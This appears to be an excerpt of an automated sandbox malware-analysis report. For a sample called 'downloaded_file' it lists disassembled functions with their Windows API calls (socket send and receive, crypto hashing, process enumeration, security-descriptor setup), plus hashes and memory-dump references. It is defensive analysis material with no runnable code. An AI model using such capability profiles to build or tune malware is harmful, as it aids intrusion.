Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Local$CloseFreeHandle$Event$AllocCreateEventsMultipleSelectWaitund_memcpy
String ID:
API String ID: 3749125693-0
Opcode ID: 13b35769e7bcd73d1b5e69a4ce2fb5c36310d96684cf0dc3df340a0a596542a6
Instruction ID: ef3945d20f8b65778b657df16d2364a17a34bf139649e606ebd4aa8fcfc87832
Opcode Fuzzy Hash: 13b35769e7bcd73d1b5e69a4ce2fb5c36310d96684cf0dc3df340a0a596542a6
Instruction Fuzzy Hash: 9D613D74900209EFCB19DFA4C989BEEBBB9BF4C304F108659E905A7390C7359A85CF90

Function 0031FC10 Relevance: 25.7, APIs: 17, Instructions: 154networkmemoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000000), ref: 0031FC45
und_memcpy.LIBCMTD ref: 0031FC6A
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 0031FC7A
WSAEventSelect.WS2_32(00000000,00000000,00000022), ref: 0031FCA9
WSAWaitForMultipleEvents.WS2_32(-00000001,00000000,00000000,00000000,00000000), ref: 0031FCCA
LocalFree.KERNEL32(00000000), ref: 0031FCE7
CloseHandle.KERNEL32(00000000), ref: 0031FCF1
LocalFree.KERNEL32(00000000), ref: 0031FD16
CloseHandle.KERNEL32(00000000), ref: 0031FD20
CloseHandle.KERNEL32(00000000), ref: 0031FDED
LocalFree.KERNEL32(00000000), ref: 0031FDF7

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Local$CloseFreeHandle$Event$AllocCreateEventsMultipleSelectWaitund_memcpy
String ID:
API String ID: 3749125693-0
Opcode ID: b0d94c352cee23f0cb0c94c769e6ea0617c8c6e6ffff146fea96038293f0781c
Instruction ID: 1ac2420537a0ab336ba2c76fd3eff06f152716add111a674cbdf8643f6ee4296
Opcode Fuzzy Hash: b0d94c352cee23f0cb0c94c769e6ea0617c8c6e6ffff146fea96038293f0781c
Instruction Fuzzy Hash: 05613F74900209EFDB19DFA4D989BEEBBB9FF48304F108658E915A7394C7349985CF90

Function 0031FE10 Relevance: 22.6, APIs: 15, Instructions: 144networkmemoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000000), ref: 0031FE45
und_memcpy.LIBCMTD ref: 0031FE6A
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 0031FE7A
WSAEventSelect.WS2_32(00000000,00000000,00000022), ref: 0031FEA9
WSAWaitForMultipleEvents.WS2_32(-00000001,00000000,00000000,000003E8,00000000), ref: 0031FECB
LocalFree.KERNEL32(00000000), ref: 0031FEF3
CloseHandle.KERNEL32(00000000), ref: 0031FEFD
LocalFree.KERNEL32(00000000), ref: 0031FF2A
CloseHandle.KERNEL32(00000000), ref: 0031FF34
___crtGetLocaleInfoEx.LIBCMTD ref: 0031FF56
WSAGetLastError.WS2_32 ref: 0031FF88
LocalFree.KERNEL32(00000000), ref: 0031FFA8
CloseHandle.KERNEL32(00000000), ref: 0031FFB2
CloseHandle.KERNEL32(00000000), ref: 0031FFCA
LocalFree.KERNEL32(00000000), ref: 0031FFD4

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Local$CloseFreeHandle$Event$AllocCreateErrorEventsInfoLastLocaleMultipleSelectWait___crtund_memcpy
String ID:
API String ID: 1311366638-0
Opcode ID: 4548857062431b8ba19e1f438d3fbf66135ba1408fa652c14c20513a252ac211
Instruction ID: b9a81a54e4caef7a37736c7724858809c246f53c182a646b041a29931fcc752b
Opcode Fuzzy Hash: 4548857062431b8ba19e1f438d3fbf66135ba1408fa652c14c20513a252ac211
Instruction Fuzzy Hash: EA515EB4900209EFDB19DFA4D989BEEBBB9BF48304F108159F915A7290C774AA81CF51

Function 0031BF00 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 119encryptionsynchronizationCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,Microsoft Enhanced RSA and AES Cryptographic Provider,00000018,F0000000,?,?,?,00309E2A,00000000), ref: 0031BF2D
CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000,?,?,?,00309E2A,00000000), ref: 0031BF4D
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 0031BFA4
CryptHashData.ADVAPI32(00000000,00309E2A,00002710,00000000), ref: 0031BFCA
CryptHashData.ADVAPI32(00000000,00309E2A,00000000,00000000), ref: 0031C000
CryptReleaseContext.ADVAPI32(00000000,00000000,?,?,?,00309E2A,00000000), ref: 0031C04A
CryptReleaseContext.ADVAPI32(00000000,00000000,?,?,?,00309E2A,00000000), ref: 0031C06A
CryptDestroyHash.ADVAPI32(00000000,?,?,?,00309E2A,00000000), ref: 0031C07A

Strings

Microsoft Enhanced RSA and AES Cryptographic Provider, xrefs: 0031BF22

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Crypt$Hash$Context$DataRelease$AcquireCreateDestroyObjectSingleWait
String ID: Microsoft Enhanced RSA and AES Cryptographic Provider
API String ID: 1452691613-63410773
Opcode ID: abd4e5cdb25c86779e842bf1c4966684eea7d6ff261950262d83b37a5c044a80
Instruction ID: f47bbc40a7400dd9dab6a823a21bb36ccde0c21170d7c9f8af1611e663f22be3
Opcode Fuzzy Hash: abd4e5cdb25c86779e842bf1c4966684eea7d6ff261950262d83b37a5c044a80
Instruction Fuzzy Hash: 0A412F74A40208EFDB29CF94CD89BEEB7B9FF4C704F209448E515A7280C7B59A85DB90

Function 00320950 Relevance: 16.7, APIs: 11, Instructions: 247COMMON

Download Yara Rule

APIs

___crtGetLocaleInfoEx.LIBCMTD ref: 0032096D

Part of subcall function 0031F650: recv.WS2_32(00000000,?,000000FF,00320A9A), ref: 0031F663

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: InfoLocale___crtrecv
String ID:
API String ID: 818993241-0
Opcode ID: f92fbf7cd93221be849fa81a9886e25e0c2779cae464b3a3850bff39f1ae7dcd
Instruction ID: eedec617af5b0f39ad1dab8ddd9eb4b9ea16254740a6c9522586276f281cd111
Opcode Fuzzy Hash: f92fbf7cd93221be849fa81a9886e25e0c2779cae464b3a3850bff39f1ae7dcd
Instruction Fuzzy Hash: ACB12FB490022CDFDB19CF94E984BADB7B5FF44308F218219E8056B292C775E989DF41

Function 00320CD0 Relevance: 16.7, APIs: 11, Instructions: 239COMMON

Download Yara Rule

APIs

___crtGetLocaleInfoEx.LIBCMTD ref: 00320CED

Part of subcall function 0031F670: send.WS2_32(00000000,?,000000FF,00320E0C), ref: 0031F683

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: InfoLocale___crtsend
String ID:
API String ID: 3464212537-0
Opcode ID: ef0014fdffca72edda7ce5bfa61d5177894ec2288260039f54043f7e1b7c5c22
Instruction ID: 4c4dfe4e9d6032d8b2a80309ff1fd8b7ee8739da1f0dd4de5317047aa0d0a74a
Opcode Fuzzy Hash: ef0014fdffca72edda7ce5bfa61d5177894ec2288260039f54043f7e1b7c5c22
Instruction Fuzzy Hash: 54B10B74900258DFDB29CF94E988BADBBB5FF48308F218109E906AB385C775AD85DF41

Function 00320630 Relevance: 12.1, APIs: 8, Instructions: 124memorynetworkCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,000003F0,?,?,?,?,?,?,?,?,003204A6,?), ref: 00320672
htons.WS2_32(?), ref: 00320697
wsprintfA.USER32 ref: 003206C0

Part of subcall function 00320870: WSACreateEvent.WS2_32 ref: 00320876
Part of subcall function 00320870: WSAEventSelect.WS2_32(?,00000000,00000002), ref: 00320893
Part of subcall function 00320870: WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000001,00000000), ref: 003208D3
Part of subcall function 00320870: WSACloseEvent.WS2_32(00000000), ref: 003208E0

___crtGetLocaleInfoEx.LIBCMTD ref: 00320701

Part of subcall function 0031F670: send.WS2_32(00000000,?,000000FF,00320E0C), ref: 0031F683

Part of subcall function 00320790: WSACreateEvent.WS2_32 ref: 00320796
Part of subcall function 00320790: WSAEventSelect.WS2_32(?,00000000,00000001), ref: 003207B3
Part of subcall function 00320790: WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000001,00000000), ref: 003207F3
Part of subcall function 00320790: WSACloseEvent.WS2_32(00000000), ref: 00320800

___crtGetLocaleInfoEx.LIBCMTD ref: 0032073A

Part of subcall function 0031F650: recv.WS2_32(00000000,?,000000FF,00320A9A), ref: 0031F663

und_memcpy.LIBCMTD ref: 0032076A
LocalFree.KERNEL32(00000000), ref: 00320776
LocalFree.KERNEL32(00000000), ref: 00320784

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Event$Local$CloseCreateEventsFreeInfoLocaleMultipleSelectWait___crt$Allochtonsrecvsendund_memcpywsprintf
String ID:
API String ID: 2352516679-0
Opcode ID: 9cc309aa705d93e4831d69b02dd51eadd85361c3feadaa8b04d474cefe7b1e16
Instruction ID: 8d7a0bdf1f536372df33ef03743c6a5027866980133acf08f0cbd601dcaa2bee
Opcode Fuzzy Hash: 9cc309aa705d93e4831d69b02dd51eadd85361c3feadaa8b04d474cefe7b1e16
Instruction Fuzzy Hash: 2A411EB5D00219AFCB09DF98D881ABFBBB5BF48300F148548E649AB342D635E945DFE4

Function 003204F0 Relevance: 10.6, APIs: 7, Instructions: 113memorynetworkCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,000003F0,?,?,?,?,?,?,?,0032043F,?), ref: 00320532
htons.WS2_32(?), ref: 00320557

Part of subcall function 00320870: WSACreateEvent.WS2_32 ref: 00320876
Part of subcall function 00320870: WSAEventSelect.WS2_32(?,00000000,00000002), ref: 00320893
Part of subcall function 00320870: WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000001,00000000), ref: 003208D3
Part of subcall function 00320870: WSACloseEvent.WS2_32(00000000), ref: 003208E0

___crtGetLocaleInfoEx.LIBCMTD ref: 0032059D

Part of subcall function 0031F670: send.WS2_32(00000000,?,000000FF,00320E0C), ref: 0031F683

Part of subcall function 00320790: WSACreateEvent.WS2_32 ref: 00320796
Part of subcall function 00320790: WSAEventSelect.WS2_32(?,00000000,00000001), ref: 003207B3
Part of subcall function 00320790: WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000001,00000000), ref: 003207F3
Part of subcall function 00320790: WSACloseEvent.WS2_32(00000000), ref: 00320800

___crtGetLocaleInfoEx.LIBCMTD ref: 003205D6

Part of subcall function 0031F650: recv.WS2_32(00000000,?,000000FF,00320A9A), ref: 0031F663

und_memcpy.LIBCMTD ref: 00320606
LocalFree.KERNEL32(00000000), ref: 00320612
LocalFree.KERNEL32(00000000), ref: 00320620

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Event$Local$CloseCreateEventsFreeInfoLocaleMultipleSelectWait___crt$Allochtonsrecvsendund_memcpy
String ID:
API String ID: 3977134054-0
Opcode ID: 853c822f9fc150714fdc786384cb342bf02209ea00948efa7406b0154f1f0b29
Instruction ID: 945d8f74f9cadc98b2742d955ba8920af2386c81e897e9dcbba79c8c4806f4ce
Opcode Fuzzy Hash: 853c822f9fc150714fdc786384cb342bf02209ea00948efa7406b0154f1f0b29
Instruction Fuzzy Hash: 574143B4D00219AFCB09DF94D981ABFB7B5FF98300F148549F544AB342D635EA41CBA1

Function 00310400 Relevance: 10.6, APIs: 7, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0031044D
_memset.LIBCMT ref: 00310463
SetEntriesInAclW.ADVAPI32(00000001,FFFFFFFF,00000000,00000000), ref: 003104A0
LocalAlloc.KERNEL32(00000040,00000014), ref: 003104B3
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 003104C8
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,00000000,00000000), ref: 003104DE
LocalFree.KERNEL32(00000000), ref: 003104F1

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: DescriptorInitializeLocalSecurity$AllocAllocateDaclEntriesFree_memset
String ID:
API String ID: 4046344516-0
Opcode ID: bdcd633d7d164ff05a2de92dacd53163600c75d3023c8c375fd46c787a6ff625
Instruction ID: 773621aa11414684eee5b61a5831144c7139733af80eca88a689a8a05cc694fb
Opcode Fuzzy Hash: bdcd633d7d164ff05a2de92dacd53163600c75d3023c8c375fd46c787a6ff625
Instruction Fuzzy Hash: 9431F070D40209EFEB15DFE5D889BEEBBB8AF08704F104558E604BA2C1D7B95684CBA1

Function 00304410 Relevance: 9.1, APIs: 6, Instructions: 55processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00304424
Process32FirstW.KERNEL32(000000FF,0000022C), ref: 0030444C
StrCmpIW.SHLWAPI(?,-00374CE4), ref: 00304496
CloseHandle.KERNEL32(000000FF), ref: 003044A4
Process32NextW.KERNEL32(000000FF,0000022C), ref: 003044BE
CloseHandle.KERNEL32(000000FF), ref: 003044CC

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CloseHandleProcess32$CreateFirstNextSnapshotToolhelp32
String ID:
API String ID: 1789362936-0
Opcode ID: 28bb333e4eb869148e28682037ce3e74f2246932e9c6f52f27c0bb0620899992
Instruction ID: 36f94aec318b938d8fa28ca72be6915c17758306fdca31097854d468ad21da95
Opcode Fuzzy Hash: 28bb333e4eb869148e28682037ce3e74f2246932e9c6f52f27c0bb0620899992
Instruction Fuzzy Hash: 5E1151B0902218EBCB35DFA5DD5CB9D77B8BB04300F204698E609A72D0D7389B81DF50

Function 003044E0 Relevance: 9.1, APIs: 6, Instructions: 55processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 003044F4
Process32FirstW.KERNEL32(000000FF,0000022C), ref: 0030451C
StrCmpIW.SHLWAPI(?,-003758D8), ref: 00304566
CloseHandle.KERNEL32(000000FF), ref: 00304574
Process32NextW.KERNEL32(000000FF,0000022C), ref: 0030458E
CloseHandle.KERNEL32(000000FF), ref: 0030459C

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CloseHandleProcess32$CreateFirstNextSnapshotToolhelp32
String ID:
API String ID: 1789362936-0
Opcode ID: be560d6e52a33434e1e6e1b34572649a023a09399fd113f4eb627290a2f4d97d
Instruction ID: ffcde23c0d09d70744fbba1c39e7f18088737538a18829b48a3476bea1732a99
Opcode Fuzzy Hash: be560d6e52a33434e1e6e1b34572649a023a09399fd113f4eb627290a2f4d97d
Instruction Fuzzy Hash: CD114FB1912218DBCB25DBA4DD5CB99B77CAF45300F204698A50AA7290D7349B81DF40

Function 0031CA00 Relevance: 9.0, APIs: 6, Instructions: 41processCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 0031CA09
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0031CA16
Process32FirstW.KERNEL32(00000000,0000022C), ref: 0031CA3A
CloseHandle.KERNEL32(00000000), ref: 0031CA53
Process32NextW.KERNEL32(00000000,0000022C), ref: 0031CA6C
CloseHandle.KERNEL32(00000000), ref: 0031CA7A

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CloseHandleProcess32$CreateCurrentFirstNextProcessSnapshotToolhelp32
String ID:
API String ID: 3177329567-0
Opcode ID: e6c7792ee93d0edb22ba165fa61b0d4520e6cbd28bdaf426a2fd4f421b887ab1
Instruction ID: f64b4ce1fe07057d26c6700bc7c558641fc6fd4fa539bbeda89eb73a5842076d
Opcode Fuzzy Hash: e6c7792ee93d0edb22ba165fa61b0d4520e6cbd28bdaf426a2fd4f421b887ab1
Instruction Fuzzy Hash: 39010C74A60208EBDB36DBA4DD8CB9DBBB8BF48701F105598E509A6150D7349F80DB50

Function 0031C090 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(NTDLL,RtlGetVersion), ref: 0031C0AD
GetProcAddress.KERNEL32(00000000), ref: 0031C0B4
RtlGetVersion.NTDLL(0000011C), ref: 0031C0DA

Strings

RtlGetVersion, xrefs: 0031C0A3
NTDLL, xrefs: 0031C0A8

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProcVersion
String ID: NTDLL$RtlGetVersion
API String ID: 3310240892-3678323915
Opcode ID: 87d26f354e38e3aadca90afa987e0cfd9c279fd62455059fbf0d821029c2544c
Instruction ID: 50515230a898125ef533b96b76b4c6e9d6f29b04abd9c56b3e077ef2cfbf10b7
Opcode Fuzzy Hash: 87d26f354e38e3aadca90afa987e0cfd9c279fd62455059fbf0d821029c2544c
Instruction Fuzzy Hash: C5F0C074D4521CDBCB359F54EC8DBD9BBB8BB0C315F0001D9A949A2280DB7459E4CF99

